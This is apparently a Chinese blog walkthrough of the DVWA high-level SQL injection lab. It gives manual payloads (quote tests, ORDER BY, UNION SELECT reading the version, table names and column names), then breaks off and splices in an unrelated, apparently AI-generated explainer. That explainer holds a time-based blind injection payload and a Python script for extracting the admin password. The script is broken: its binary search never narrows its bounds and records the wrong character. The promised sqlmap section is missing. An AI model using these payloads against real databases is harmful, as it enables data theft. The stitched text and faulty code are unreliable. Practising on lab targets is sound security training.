DVWA - SQL Injection (high)

本文探讨了DVWA的高难度SQL注入问题,涵盖了手工注入和使用sqlmap工具的方法。手工注入涉及判断注入类型、获取字段数、数据库名、版本、表名、字段名以及字段值。而在sqlmap注入部分,介绍了如何利用工具检测注入点,获取数据库名、表名、字段名及字段值。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

highj级别(手工注入 和 sqlmap)

手工注入

1.判断是否存在注入,注入的类型是字符型还是数字型
输入1
在这里插入图片描述
输入1’
在这里插入图片描述

输入1’ and ‘1’='1
在这里插入图片描述

输入1’ and ‘1’='2
在这里插入图片描述
字符型注入

2.获取字段数
1’ order by 3#
在这里插入图片描述

1’ order by 2#

在这里插入图片描述
字段数为2

3.获取数据库名,版本
1’ union select version(),database()#
在这里插入图片描述

4.获取dvwa数据库中表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#
在这里插入图片描述

5.获取字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#

DVWA (Damn Vulnerable Web Application) 是一款用于安全测试练习的Web应用程序,它包含了各种各样的漏洞供用户学习如何利用以及修复它们。对于高难度级别的SQL注入挑战(DVWA High SQL Injection),程序增加了基本的安全措施如输入过滤、字符转义等。 ### DVWA HIGH 级别 SQL 注入解析 #### 防护机制特点 在这个级别上,默认会启用 PHP 的 `mysql_real_escape_string` 函数来对用户的输入进行处理。该函数可以将特殊字符转换成其对应的转义序列,例如单引号 `'` 转换成 `\'` 。这一功能有效防止了大部分简单的字符串拼接型攻击向量。 然而即便如此,仍然存在某些技巧绕过这种基础防御层: 1. **时间盲注** 即使无法直接从页面获取反馈信息,也可以通过测量服务器响应延迟推测查询结果是否满足条件。比如构造类似下面这样的payload: ```sql admin' AND SLEEP(5)-- ``` 2. **基于错误的信息泄露** 如果系统配置允许显示详细的数据库报错消息,则有可能提取出有用的数据片段。尽管此路在HIGH模式下通常被封锁掉了,但仍值得尝试。 3. **联合查询** 当目标字段数已知并且支持UNION运算符的情况下,可以通过附加额外的结果集读取敏感数据。不过这里的难点在于需要找到合适的列匹配方式以避开类型冲突的问题。 4. **布尔盲注法** 反复调整请求参数值并观察返回内容的变化趋势判断真假命题成立与否进而逐位恢复隐藏的目标记录文本串形式表示。 --- ### 解决方案示例代码(Python版) 这里提供一段python脚本作为参考,演示如何自动化完成上述任务之一 —— 时间盲注猜解管理员密码的过程。(注意仅限于教育用途) ```python import requests,time,re target_url="http://localhost/DVWA/vulnerabilities/sqli/" data={'id': None,'Submit':'Submit'} cookies={"security":"high","PHPSESSID":""} def check_true(payload): data['id']=f"admin'+{payload}--" start=time.time() resp=requests.post(target_url,data=data,cookies=cookies).text end=time.time()-start return True if "User ID exists in the database."in resp and end>5 else False flag="" for i in range(1,9): #假设我们猜测长度为8 low,mid,up=0,0,127 while(low<=up): mid=(low+up)//2 payload=f"(CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),{i},1))>{mid} THEN SLEEP(5) ELSE 'a' END)" res=check_true(payload) if(res==True): print(f"[+] Found char {chr(mid)} at position {i}") flag+=chr(mid) break print("[*] Final cracked result:",flag) ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值